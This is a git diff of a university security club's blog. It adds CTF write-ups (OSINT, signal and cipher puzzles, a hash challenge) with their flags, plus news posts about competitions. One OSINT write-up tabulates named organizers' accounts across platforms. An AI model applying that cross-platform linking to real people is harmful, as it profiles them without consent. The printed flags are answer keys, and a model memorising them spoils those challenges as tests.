    • OG_Commando AKA The OG Commando#6632
    • vincent AKA FlaminArrowz#5042
    • 死神 (shinigami) AKA demarcus1621#6819
  • AUEHC also has a Github Organization, which the following github users are a part of:
    • Demarcus Campbell AKA demarcus1621
    • Jordan Sosnowski AKA nadrojisk
    • Vincent Chu AKA vincentchu37
  • Within that organization are repos for:
    • AUCTF-2020 Which contains entirely commits by nadrojisk, with a pending pull request formulated by demarcus1621, with nothing interesting in it.
    • Their site
    • Past competitions, mostly irrelevant to this challenge.
  • Reddit account has posted three things, none of which are of use here: https://www.reddit.com/user/auehc/
  • CTFTime Team AUEHC only has one player, nadrojisk. https://ctftime.org/team/82180

With that in mind, I went about composing this table:

NameDiscordGithubGitlabTwitterNotes
Jordan Sosnowskinadrojisk AKA nadrojisk#6700https://github.com/nadrojiskNAhttps://twitter.com/nadrojiskAll commits to the challenge repo. Prime suspect. Nothing interesting on twitter
Vincent Chuvincent AKA FlaminArrowz#5042https://github.com/vincentchu37https://github.com/vincentchu37/gitlabPrivateHas commits to the site @ https://github.com/auehc/auehc.github.io , https://www.linkedin.com/in/vincentchu37/
Demarcus Campbell死神 (shinigami) AKA demarcus1621#6819https://github.com/demarcus1621NADoes not existHas pull request to auehc/AUCTF-2020 @ https://github.com/auehc/AUCTF-2020/pull/1 but changes only to README.md, and from private repo 🙁
Abhinav V.Kensocolo AKA Kensocolo#1000NANAhttps://twitter.com/kensocoloTwitter, not much found
Charlie Harperc AKA _c#9643https://github.com/chharlesNANAPretty sure this is Charlie Harper

The flag was in a repo that was conveniently not pinned in Vincent Chu’s github. This was in one of the past commits in their repo AUCTF-2020 link archive made by github user chharles, who I have retroactively added to the table above.

auctf{G1tHuB_4lwAY5_r3mEmB3r5_8923_1750921}
+

~Lyell Read

\ No newline at end of file diff --git a/static/blog/bsidespdx-2022-closet.jpg b/blog/bsidespdx-2022-closet.jpg similarity index 100% rename from static/blog/bsidespdx-2022-closet.jpg rename to blog/bsidespdx-2022-closet.jpg diff --git a/static/blog/bsidespdx-2022-elevator.jpg b/blog/bsidespdx-2022-elevator.jpg similarity index 100% rename from static/blog/bsidespdx-2022-elevator.jpg rename to blog/bsidespdx-2022-elevator.jpg diff --git a/static/blog/bsidespdx-2022.jpg b/blog/bsidespdx-2022.jpg similarity index 100% rename from static/blog/bsidespdx-2022.jpg rename to blog/bsidespdx-2022.jpg diff --git a/blog/bsidespdx-2022/index.html b/blog/bsidespdx-2022/index.html new file mode 100644 index 0000000..322e676 --- /dev/null +++ b/blog/bsidespdx-2022/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

BSidesPDX 2022

BSidesPDX 2022

Casey Colley

Tags

OSUSEC members pose on stage after their first-place win being announced.

Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, attending many interesting talks, and making some new friends! We became known as the team competing in the closet, as the CTF team set up fort in a nearby maintenance closet instead of the official CTF room. For our win, the club won a Flipper Zero and bragging rights 🙂

Many thanks to the BSidesPDX crew for hosting another great year! The passion and hard work they bring to organizing the event is evident, and a treat every year.

For more information on BSidesPDX, please visit: https://bsidespdx.org/

The OSUSEC team at BSides, crammed into an elevator, ready to head home.

The CTF team in the “Big W” closet.

\ No newline at end of file diff --git a/static/blog/bsidespdx-down-the-rabbit-hole-ovaltine1.png b/blog/bsidespdx-down-the-rabbit-hole-ovaltine1.png similarity index 100% rename from static/blog/bsidespdx-down-the-rabbit-hole-ovaltine1.png rename to blog/bsidespdx-down-the-rabbit-hole-ovaltine1.png diff --git a/static/blog/bsidespdx-down-the-rabbit-hole-ovaltine2.png b/blog/bsidespdx-down-the-rabbit-hole-ovaltine2.png similarity index 100% rename from static/blog/bsidespdx-down-the-rabbit-hole-ovaltine2.png rename to blog/bsidespdx-down-the-rabbit-hole-ovaltine2.png diff --git a/static/blog/bsidespdx-down-the-rabbit-hole-pigpen.png b/blog/bsidespdx-down-the-rabbit-hole-pigpen.png similarity index 100% rename from static/blog/bsidespdx-down-the-rabbit-hole-pigpen.png rename to blog/bsidespdx-down-the-rabbit-hole-pigpen.png diff --git a/static/blog/bsidespdx-down-the-rabbit-hole.jpg b/blog/bsidespdx-down-the-rabbit-hole.jpg similarity index 100% rename from static/blog/bsidespdx-down-the-rabbit-hole.jpg rename to blog/bsidespdx-down-the-rabbit-hole.jpg diff --git a/blog/bsidespdx-down-the-rabbit-hole/index.html b/blog/bsidespdx-down-the-rabbit-hole/index.html new file mode 100644 index 0000000..e43f809 --- /dev/null +++ b/blog/bsidespdx-down-the-rabbit-hole/index.html @@ -0,0 +1,8 @@ + +Codestin Search App

BSidesPDX - Down the Rabbit Hole

BSidesPDX - Down the Rabbit Hole

Lyell Read

Tags

BSidesPDX logo

Prompt

Category: Over The Air

297 Points

5 Solves

During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out.

twitch.tv/over_the_air

Author(s): 0xdade & fdcarl

Solution

This challenge is where we really… umm… go down the rabbit hole, you could say ;). I started by playing the whole video and noting all the oddities that I could find, and started working them out one by one:

  • [00:00] : Many QR codes on the standby screen (challenge 1, “please stand by”)
  • [02:55] : Creepy appearance behind the betty crocker advertisement.
  • [04:51] : Sneezing guy repeated a couple times in quick succession.
  • [05:53] : In the duck & cover / burt the turtle clip, there’s a flag person in the bottom left that is sending text in the maritime flag signaling pattern.
  • [08:24]: In the atomic bomb / duck & cover intro, when in Betty’s school, a creepy plague doctor mask guy with numbers and letters, and a tune (challenge 2, “xclusive numborz”)
  • [14:06] : When Tony is going to cubscouts / picnic – creepy guy overlay w anonymous-like mask on.
  • [15:46] : In the announcement about the Secret Squadron, 0x13A5C is displayed, and a number is heard dialing in the background.
  • [17:21] : Giant Behemoth: A message appears on the top of the screen.

So, we eliminated or decoded one thing at a time, omitting the parts from previous challenges:

  • [05:53] : In the duck & cover / burt the turtle clip, there’s a flag person in the bottom left that is sending text in the maritime flag signaling pattern.

The maritime / semaphore flag alphabet is documented, and I decoded the flag message to be two repetitions of:

  • J and ‘alphabetic’ (LH out ; RH up)
  • B and 2 (LH down; RH out)
  • S (LH low; RH out)
  • I and 9 (LH across low; RH up)
  • D and 4 (LH down; RH up – or LH up; RH down)
  • E and 5 (LH high; RH down)
  • S (LH low; RH out)
  • T (LH up; RH high)
  • R (LH out; RH out)
  • O (LH across high; RH out)
  • L (LH high; RH low)
  • O (LH across high; RH out)
  • L (LH high; RH low)
  • O (LH across high; RH out)
  • L (LH high; RH low)
  • O (LH across high; RH out)

To get result BSIDESTROLOLOLOL. Bummer, but at least we can cross off this lead for now.

  • [17:21] : Giant Behemoth: A message appears on the top of the screen.

The message on the top of the screen was decoded, as it was quickly identified to be the pigpen cipher.

Screenshot of rune-like text, the pigpen cipher

not a flag either

  • [15:46] : In the announcement about the Secret Squadron, 0x13A5C is displayed, and a number is heard dialing in the background.

Now things get more interesting. We have the tones associated with dialing a phone number, and a message on screen. The message reads 0x13A5C, which is 80476 in decimal.

Decoding the phone dial presses is a matter of interpreting the DTMF tones. This requires first trimming the whole audio clip from the recording into a clip of just the phone dial tones. This .wav file can then be put into a dtmf decoder, and it returns a phone number: 5038326682.

For this next part, I’ll rely on what my teammates described, as I cannot call that number. However, when called, the caller is asked for a number. When provided with 80476, the voice on the other end sounds out the following string of morse code:

-- ... --. -. ..- -- ....- .---- -.... ---.. ...--
+

When decoded, this turns into the string MSGNUM41683, which we initially did not know what to do with. 41683 is another 5-digit number, however, so let’s just try calling 5038326682 back, and giving it our new number, shall we?

More progress! The number speaks back overtheair.space. This link redirects us to an unlisted YouTube video that contains more content similar to the twitch stream. In the middle of it, however, is a break, where loud beeping is heard that was instantly recognized to be SSTV. Now we need to decode that, and first that means downloading it…

Given the tragic closure of the youtube-dl repository caused by RIAA, we almost resorted to downloading the source code off twitter, and reconstituting the youtube-dl source code from that, however someone still had youtube-dl installed, and we successfully (allegedly, maybe) downloaded that video (see there is a good use for youtube-dl, RIAA).

With that in hand, we extracted and trimmed the audio to just the SSTV parts, and then came the fun part.

Following an extremely thorough guide about how to decode this very kind of file, from Carlos Delgado, we successfully set up qsstv, a virtual audio cable (loopback so that audio can be played from computer into qsstv), and we were off to the races:

I was a bit slow to start it the first time, so I got the second half first:

Screenshot of grainy black and white video featuring a can of ovaltine and half of the CTF flag overtop

… and the second part on the second run:

Screenshot of grainy black and white video featuring a can of ovaltine and half of the CTF flag overtop

BSidesPDX{b3_sUR3_T0_dr!nk_y0Ur_Ov4ltin3}
+

~Lyell

\ No newline at end of file diff --git a/static/blog/bsidespdx-please-stand-by-1.png b/blog/bsidespdx-please-stand-by-1.png similarity index 100% rename from static/blog/bsidespdx-please-stand-by-1.png rename to blog/bsidespdx-please-stand-by-1.png diff --git a/static/blog/bsidespdx-please-stand-by-2.png b/blog/bsidespdx-please-stand-by-2.png similarity index 100% rename from static/blog/bsidespdx-please-stand-by-2.png rename to blog/bsidespdx-please-stand-by-2.png diff --git a/static/blog/bsidespdx-please-stand-by-3.png b/blog/bsidespdx-please-stand-by-3.png similarity index 100% rename from static/blog/bsidespdx-please-stand-by-3.png rename to blog/bsidespdx-please-stand-by-3.png diff --git a/static/blog/bsidespdx-please-stand-by-4.png b/blog/bsidespdx-please-stand-by-4.png similarity index 100% rename from static/blog/bsidespdx-please-stand-by-4.png rename to blog/bsidespdx-please-stand-by-4.png diff --git a/static/blog/bsidespdx-please-stand-by-qr.png b/blog/bsidespdx-please-stand-by-qr.png similarity index 100% rename from static/blog/bsidespdx-please-stand-by-qr.png rename to blog/bsidespdx-please-stand-by-qr.png diff --git a/static/blog/bsidespdx-please-stand-by.jpg b/blog/bsidespdx-please-stand-by.jpg similarity index 100% rename from static/blog/bsidespdx-please-stand-by.jpg rename to blog/bsidespdx-please-stand-by.jpg diff --git a/blog/bsidespdx-please-stand-by/index.html b/blog/bsidespdx-please-stand-by/index.html new file mode 100644 index 0000000..a406142 --- /dev/null +++ b/blog/bsidespdx-please-stand-by/index.html @@ -0,0 +1,8 @@ + +Codestin Search App

BSidesPDX - Please Stand By

BSidesPDX - Please Stand By

Lyell Read

Tags

BSidesPDX logo

Prompt

Category: Over The Air

263 Points

14 Solves

Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in the transmission.

twitch.tv/over_the_air

Author(s): 0xdade & fdcarl

Solution

This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of the twitch stream(recording)

Interesting, after about 1:20 of the usual standby screen, the screen displays an interference effect, then we see some QR code looking things appear in the top corners.

These QR codes, however, are obviously incomplete, as evidenced by the fractional ‘pixels’ displayed where they meet the edges of the screen. This indicates that we’re probably in for stitching these together…

Following that, we screenshotted each image. Here they are:

A fragment of a QR code

A fragment of a QR code

A fragment of a QR code

A fragment of a QR code

If we think about the regular format for QR codes, we would expect the “Position Patterns” (the square shaped sets of pixels) to be in the corners, so that informs us about the first orientation we should try.

In Gimp, we can stitch these together, and we get the following:

When scanned, that QR code becomes the text:

B̴̡̋S̴̫͂i̷͎͘d̸̅́e̷͌̕s̴̓̈P̶͊̅D̸̑̽Ẍ̶́̑{̷̽́5̴̆͘t̴̒͘A̷͑͆n̸̏̈́d̴̶͗͂̄̑b̶͛͜Y̷̵̖̤̓̇f̵̽͛0̷̾̓r̸̵̛͎͝͝Ã̵̚n̸̶̮̏͑͒!̶́̔m̸̍̋p̵̊̇0̴̆͠r̵͂́ẗ̴̔a̶̒̽n̴̈́͒7̴̎̔_̸͆̾M̵̗̑ĕ̷̈́5̵̊͂5̴̊͂a̶͔͝G̷̉̕ë̸́͐}̷͉̚
+

With a little reading, we can get the flag:

BSidesPDX{5tAnd_bY_f0r_An_Imp0rtan7_Me55aGe}
+

~Lyell

\ No newline at end of file diff --git a/static/blog/bsidespdx-xclusive-numborz.jpg b/blog/bsidespdx-xclusive-numborz.jpg similarity index 100% rename from static/blog/bsidespdx-xclusive-numborz.jpg rename to blog/bsidespdx-xclusive-numborz.jpg diff --git a/blog/bsidespdx-xclusive-numborz/index.html b/blog/bsidespdx-xclusive-numborz/index.html new file mode 100644 index 0000000..2630009 --- /dev/null +++ b/blog/bsidespdx-xclusive-numborz/index.html @@ -0,0 +1,16 @@ + +Codestin Search App

BSidesPDX - Xclusive Numborz

BSidesPDX - Xclusive Numborz

Lyell Read

Tags

BSidesPDX logo

Prompt

Category: Over The Air

290 Points

8 Solves

I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions.

twitch.tv/over_the_air

Author(s): 0xdade & fdcarl

Solution

The first challenge was easy, but this one is a little trickier. We are told to listen to the segment where a “little girl” talks, and the name implies that we will be doing some XOR.

Beginning at 8:24 in the recording of the stream, We hear a child’s voice say “you’re all gonna die down here”, we see a creepy plague doctor image moving around in the background, and a child’s voice speaking letters and numbers in the foreground, finishing with the phrase “are you my mommy” repeated twice. At first the letters and numbers that the child spoke sounded to me like:

23210C1D0A063D3D3I1419054A3E1C10140D461F0A321C1DIE4D0A2DI1261G1DIE141EIC011G4A120F
+

This string uses charset ['0', '1', '2', '3', '4', '5', '6', '9', 'A', 'C', 'D', 'E', 'F', 'G', 'I'], which is a little odd.

However on closer inspection, and after consulting my teammates, the string was determined to be:

23210C1D0A063D3D351419054A3E1C10140D461F0A321C1D5E4D0A2D51261B1D5E141E5C011B4A120F
+

This is because I misheard ‘B’ as ‘G’, and ‘5’ as ‘I’, and I did not pick up on the fact that the charset I had was hex with two wrong characters.

From that string, we can guess that it might be a flag, which has format BSidesPDX{}, and infer what the XOR key should start with (we used the assumption that a^b=c and a^c=b.

String : 23 21 0C 1D 0A 06 3D 3D 35 14 ... 
+Key    : ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ...
+Output : 42 53 69 64 65 73 50 44 58 7b 
+(Ascii): B  S  i  d  e  s  P  D  X  {
+
+Key    : 61 72 65 79 6f 75 6d 79 6d 6f
+(Ascii): a  r  e  y  o  u  m  y  m  o
+

That key looks an awful lot like “areyoumymommy”, which is the key for the XOR decryption (“areyoumymommyareyoumymomm”…).

BSidesPDX{th3_numb3rs_sp34k_4_th3ms3lv3s}
+

~Lyell

\ No newline at end of file diff --git a/static/blog/bytebanditsctf-string-equals-integer-writeup.jpg b/blog/bytebanditsctf-string-equals-integer-writeup.jpg similarity index 100% rename from static/blog/bytebanditsctf-string-equals-integer-writeup.jpg rename to blog/bytebanditsctf-string-equals-integer-writeup.jpg diff --git a/blog/bytebanditsctf-string-equals-integer-writeup/index.html b/blog/bytebanditsctf-string-equals-integer-writeup/index.html new file mode 100644 index 0000000..7b18ebb --- /dev/null +++ b/blog/bytebanditsctf-string-equals-integer-writeup/index.html @@ -0,0 +1,7 @@ + +Codestin Search App

ByteBanditsCTF - string.equals(integer) Writeup

ByteBanditsCTF - string.equals(integer) Writeup

Lyell Read

Tags

ByteBanditsCTF logo

Prompt

Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers?

The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{})

File: hash.zip

Solution

The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate hashes.txt, the creator ran the provided chall.py. This program includes two hash functions with different moduluses, as well as some driver code.

The best approach (we could come up with) to crack this (the same way as one would approach cracking a real hash) is to use the hash function to generate a dictionary of results based on all (or many — in this case all) inputs as possible, and then use the dictionary to look up the hash and recieve (hopefully) the source.

We implemented that in dict.py, and after several iterations, we were able to derive a hash dictionary. This dictionary contains all the hashes (for both algorithms) for every unique set of 1 to 100 characters from input files 0-19 (I concatenate them together, and while it is less efficient, it has more values in the dict, in case the problem needs those).

Then, we swap the keys for values and create a new dictionary. This one, we use to look up each hash of the 10000 in hashes.txt, and we get a list of “words” (not phonetic words, character sequences). As the problem instructs, we concatenate them, creating a long string. We get the func1() and func2() hashes of that string, and multiply them together to get:

flag{82806233047447860}
+

~ Lyell Read, Phillip Mestas, Lance Roy

\ No newline at end of file diff --git a/static/blog/crowdstrike-adversary-quest-much-sad.jpg b/blog/crowdstrike-adversary-quest-much-sad.jpg similarity index 100% rename from static/blog/crowdstrike-adversary-quest-much-sad.jpg rename to blog/crowdstrike-adversary-quest-much-sad.jpg diff --git a/blog/crowdstrike-adversary-quest-much-sad/index.html b/blog/crowdstrike-adversary-quest-much-sad/index.html new file mode 100644 index 0000000..7a20110 --- /dev/null +++ b/blog/crowdstrike-adversary-quest-much-sad/index.html @@ -0,0 +1,53 @@ + +Codestin Search App

Crowdstrike Adversary Quest - Much Sad

Crowdstrike Adversary Quest - Much Sad

Lyell Read

Tags

Logo for Crowdstrike Adversary Quest

Prompt

We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary’s online presence?

NOTE: Flags will be easily identifiable by following the format CS{some_secret_flag_text}. They must be submitted in full, including the CS{ and } parts.

Files: muchsad.txt

Solution

First task: understand the file we are provided:

+------------------------------------------------------------------------------+
+|                                                                              |
+|                        ,oc,                                                  |
+|   BAD CAT.            ,OOxoo,                                  .cl::         |
+|                       ,OOxood,                               .lxxdod,        |
+|       VERY CRYPTO!    :OOxoooo.                             'ddddoc:c.       |
+|                       :kkxooool.                          .cdddddc:::o.      |
+|                       :kkdoooool;'                      ;dxdddoooc:::l;      |
+|                       dkdooodddddddl:;,''...         .,odcldoc:::::ccc;      |
+|                      .kxdxkkkkkxxdddddddxxdddddoolccldol:lol:::::::colc      |
+|                     'dkkkkkkkkkddddoddddxkkkkkxdddooolc:coo::;'',::llld      |
+|                 .:dkkkkOOOOOkkxddoooodddxkxkkkxddddoc:::oddl:,.';:looo:      |
+|             ':okkkkkkkOO0000Okdooodddddxxxxdxxxxdddddoc:loc;...,codool       |
+|           'dkOOOOOOkkkO00000Oxdooddxxkkkkkkxxdddxxxdxxxooc,..';:oddlo.       |
+|          ,kOOO0OOkOOOOOO00OOxdooddxOOOOOkkkxxdddxxxxkxxkxolc;cloolclod.      |
+|         .kOOOO0Okd:;,cokOOkxdddddxOO0OOOOOkxddddddxkxkkkkkxxdoooollloxk'     |
+|         l00KKKK0xl,,.',xkkkkkxxxxkOOOkkOkkkkkxddddddxkkkkkkkkxoool::ldkO'    |
+|        '00KXXKK0oo''..ckkkkkkkOkkkkkkxl;'.':oddddddxkkkkkkkkkkkdol::codkO.   |
+|        xKKXXK00Oxl;:lxkkkkkkOOkkddoc,'lx:'   ;lddxkkkkkkkxkkkkkxdolclodkO.   |
+|       ;KKXXXK0kOOOOOkkkkOOOOOOkkdoc'.'o,.  ..,oxkkkOOOkkkkkkkkkkddoooodxk    |
+|       kKXKKKKKOOO00OOO00000OOOkkxddo:;;;'';:okOO0O0000OOOOOOOOOkkxddddddx    |
+|      .KKKKKKKKOkxxdxkkkOOO000OkkkxkkkkkxxkkkkkOO0KKKKK0OOOO000OOOkkdddddk.   |
+|      xKKKKKKc,''''''';lx00K000OOkkkOOOkkkkkkkkO0KKKKKK0OO0000O000Okkxdkkx    |
+|     'KK0KKXx. ..    ...'xKKKK00OOOOO000000000OO0KKKKKKKKKKKKK0OOOOOkxdkko    |
+|     xKKKKKXx,...      .,dKXKK00000000KKKKKKKKKKKKKKKKKKKK000OOOOOOkxddxd.    |
+|    ,KKKKKXKd'.....  ..,ck00OOOOOOkO0KKKKKKKKKKKKKKKKKK0OOOOkkkkkkkxdddo.     |
+|    .KKKKK0xc;,......',cok0O0OOOkkkk0KKKK00000KKK000OOOkkkkkkkkkkkxdddd.      |
+|    .KKKKK0dc;,,'''''',:oodxkkkkkkkkkOOOOkOOOOkkkkkkkkkkkkkkkOOkkxdddd,       |
+|     0KKKKK0x;'.   ...';lodxxkkkkkkddkkkkkkkkkkkkkkkkkkOOOOOkkOkkkxddc        |
+|     xKKKKKK0l;'........';cdolc:;;;:lkkkkkkkkkkkkkkkkOO000OOOOOOkxddd.        |
+|     :KKKKK00Oxo:,'',''''...,,,;;:ldxkkkkkkkkkkkkkOkkOOOOOOOOkkkxddd'         |
+|      oKKKKK0OOkxlloloooolloooodddxkkkkkkkkkkkkkkkkkkkkkkkOOkkkxddd.          |
+|       :KKK00OO0OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkO0Okkkkkkkkxddd:            |
+|        o0KK00000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkO0000Okkkkkkxdo;.             |
+|         'd00000000OOOOOOkkkkkkkkkkkkkkkkkOkOO00Okkkkkkkkkkko,                |
+|           .oO00000OOOOOkkkkkkkkkkkkkkkkkkOOOOkOOkkkkkkkkko'                  |
+|             .;xO0OOOOOOkkkkkkkkkkkkkkkkkkkkkOkkkkkkkkd:.                     |
+|                .lxOOOOkkkkkkkkkkkkkkkkkkkxxxkkkkkd:'                         |
+|                   .;okkkkkkkkxxkkdxxddxdxdolc;'..                            |
+|                       ...',;::::::;;,'...                                    |
+|                                                                              |
+|                            MUCH SAD?                                         |
+|                      1337 DOGE = 1337 DOGE                                   |
+|                DKaHBkfEJKef6r3L1SmouZZcxgkDPPgAoE                            |
+|              SUCH EMAIL shibegoodboi@protonmail.com                          |
++------------------------------------------------------------------------------+
+

The description mentions that dogecoin is involved, and the hash DKaHBkfEJKef6r3L1SmouZZcxgkDPPgAoE is likely related to that. Therefore, our first order of business is to check that lead out. Not being an expert, that dead-ends here. Next, let’s look into that email.

After some searching, I did a namechk search for shibegoodboi, which indicated that the twitter account @shibegoodboi is in use. Looking towards that account, we see a new blockchain address or hash of some sort (D7sUiD5j5SzeSdsAe2DQYWQgkyMUfNpV2v) and a github account for “shibefan” (https://github.com/shibefan). That account has the saying “1 DOGE = 1 DOGE” and “shibegoodboi” so we are on the right track, and gives us another blockchain hash of some sort: D6hRwJbGPxmXGWYfZ7t6S8MRkB7XrBJsLL.

The first project listed on that github account is a website, which contains an index.html file that contains our flag:

CS{shibe_good_boi_doge_to_the_moon}
+

~ Lyell

\ No newline at end of file diff --git a/blog/csaw-prep/index.html b/blog/csaw-prep/index.html new file mode 100644 index 0000000..fb87a24 --- /dev/null +++ b/blog/csaw-prep/index.html @@ -0,0 +1,8 @@ + +Codestin Search App

CSAW Prep

CSAW Prep

Zander Work

Tags

It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows:

  1. Register on CSAW 365 (https://365.csaw.io/)
  2. Join our class so that I can keep track of your score (Please check Discord or your email for the class code)
  3. Work on solving challenges through the end of August.
  4. On September 1st, we will select 4 people to represent OSU if we make it to the finals +a. The total point value that you score is a primary component in the selection process, but if you specialize in an area that others didn’t focus on, you may have priority!

However, to qualify for the competition, we must compete in another online CTF on September 14th @ 13:00 through September 16th @ 13:00. Any undergraduate student is able to compete in this (no limit on team size), so please let me know if you want to participate! We will be reserving a classroom for the entire 48 hour period so if you want to come work on challenges with other club members, that will be available. You won’t be required to come in person, though.

If you have questions on any of the CSAW 365 challenges, there is a new channel in the Wargames section called #csaw365 on Discord. Feel free to drop any questions you may have there, and someone will (hopefully) be able to assist you. Also, CSAW created a new website called CTF 101 with lots of good information to get started, so if you don’t have much experience, I’d recommend checking that out: https://ctf101.org/. If you don’t have much/any experience with CTFs, I’d still encourage you to sign up on +CSAW 365 and work on the challenges there, in addition to participating in the qualifiers. It’s a great way to learn.

If you have any questions, please message an @Officer on Discord. Happy pwning, and good luck!

\ No newline at end of file diff --git a/blog/cyberforce-2023-friends.jpg b/blog/cyberforce-2023-friends.jpg new file mode 100644 index 0000000..6283cfa Binary files /dev/null and b/blog/cyberforce-2023-friends.jpg differ diff --git a/blog/cyberforce-2023-pile.jpg b/blog/cyberforce-2023-pile.jpg new file mode 100644 index 0000000..49eff37 Binary files /dev/null and b/blog/cyberforce-2023-pile.jpg differ diff --git a/blog/cyberforce-2023-thonk.png b/blog/cyberforce-2023-thonk.png new file mode 100644 index 0000000..1ee56a4 Binary files /dev/null and b/blog/cyberforce-2023-thonk.png differ diff --git a/blog/cyberforce-2023.jpg b/blog/cyberforce-2023.jpg new file mode 100644 index 0000000..38e54c2 Binary files /dev/null and b/blog/cyberforce-2023.jpg differ diff --git a/blog/cyberforce-2023/index.html b/blog/cyberforce-2023/index.html new file mode 100644 index 0000000..b566223 --- /dev/null +++ b/blog/cyberforce-2023/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Cyberforce 2023

Cyberforce 2023

Casey Colley

Tags

Photo of OSUSEC members on the CDC team

Last weekend, OSUSEC’s cyberdefense team flew out to Chicago to compete in the Department of Energy’s Cyberforce Competition! For 4 out of 6 members of the team, this was their very first time in a cyberdefense competition, and they absolutely rocked it! The team trained on Industrial Control Systems, system administration, and incident response in preparation, and came away with 15th out of 95 teams!

Thank you for everyone who helped put on Cyberforce. We had a blast and are looking forward to next year’s as well!

\ No newline at end of file diff --git a/static/blog/cyberforce-competition-2018-results.jpg b/blog/cyberforce-competition-2018-results.jpg similarity index 100% rename from static/blog/cyberforce-competition-2018-results.jpg rename to blog/cyberforce-competition-2018-results.jpg diff --git a/blog/cyberforce-competition-2018-results/index.html b/blog/cyberforce-competition-2018-results/index.html new file mode 100644 index 0000000..a2782e2 --- /dev/null +++ b/blog/cyberforce-competition-2018-results/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Cyberforce Competition 2018 Results

Cyberforce Competition 2018 Results

Zander Work

Tags

Victory photo of 6 OSUSEC students as well as Yeongjin Jang, and a representative from the Department of Energy.

I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited with new ideas for next year. The university is sending out a press release on Thursday so I’ll update this post with a link to that when it comes out.

Link to the competition website: https://cyberforcecompetition.com/

Here’s the team roster, from left to right:

  • Zander Work
  • Zach Rogers
  • Khuong Luu
  • Curtis Warrick
  • Yeongjin Jang (Advisor)
  • Travis Whitehead
  • Hadi Rahal-Arabi
  • Jeff Baumgartner (Department of Energy)

If you are interested in participating in these types of competitions, here are some things you should learn about:

  • Linux system administration
  • Windows system administrations
  • Network design/concepts
  • Cisco IOS

Great job guys!!!

\ No newline at end of file diff --git a/static/blog/cyberforce-competition-2022.jpg b/blog/cyberforce-competition-2022.jpg similarity index 100% rename from static/blog/cyberforce-competition-2022.jpg rename to blog/cyberforce-competition-2022.jpg diff --git a/blog/cyberforce-competition-2022/index.html b/blog/cyberforce-competition-2022/index.html new file mode 100644 index 0000000..c696d8e --- /dev/null +++ b/blog/cyberforce-competition-2022/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Cyberforce Competition 2022

Cyberforce Competition 2022

Casey Colley

Tags

Members of OSUSEC’s CDC Team and chaperone Emily Longman

This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a network of 6 virtual machines, then defending it against a team of hackers. Cyberforce also tests students’ abilities to budget their time and respond to miscellaneous requests from managers relating to the NIST framework for cybersecurity. We brought home 10th place out of 169 teams, and placed 1st place for team style 😎

This year, we were also able to play in the Department of Energy’s CTF game “Conquer the Hill: Reign” on-site. The game is super fun and very well done. We had a blast.

The team consisted of Mike Carris, Sean Mack, Julie Weber, Otso Barron, Gabriel Kulp, and Casey Colley, and was chaperoned by Emily Longman.

Many thanks to Department of Energy, the Argonne National Laboratory, and especially Amanda Theel for all their endless hard work to put on Cyberforce every year, we really enjoy and appreciate it!

\ No newline at end of file diff --git a/blog/cyberforce-competition/index.html b/blog/cyberforce-competition/index.html new file mode 100644 index 0000000..d579b76 --- /dev/null +++ b/blog/cyberforce-competition/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Cyberforce Competition

Cyberforce Competition

Zander Work

Tags

The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready!

If you are interested in being on the team for this competition, please fill out the form here by October 10th.

Requirements for applying:

  • You will be able to spend time during October and November preparing for the competition by completing a variety of tasks
  • You are able to travel to Washington or California to compete in the competition on November 30th and December 1st
    • We will probably be leaving the night of the 29th

Even if you think you might not be qualified enough, I’d still wholly encourage you to apply. This competition was an awesome experience last year, and I’m sure it’ll be even better this year!

\ No newline at end of file diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-1.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-1.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-1.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-1.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-2.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-2.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-2.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-2.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-3.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-3.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-3.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-3.jpg diff --git a/static/blog/defcon-qualifiers-2019-redacted-puzzle-4.jpg b/blog/defcon-qualifiers-2019-redacted-puzzle-4.jpg similarity index 100% rename from static/blog/defcon-qualifiers-2019-redacted-puzzle-4.jpg rename to blog/defcon-qualifiers-2019-redacted-puzzle-4.jpg diff --git 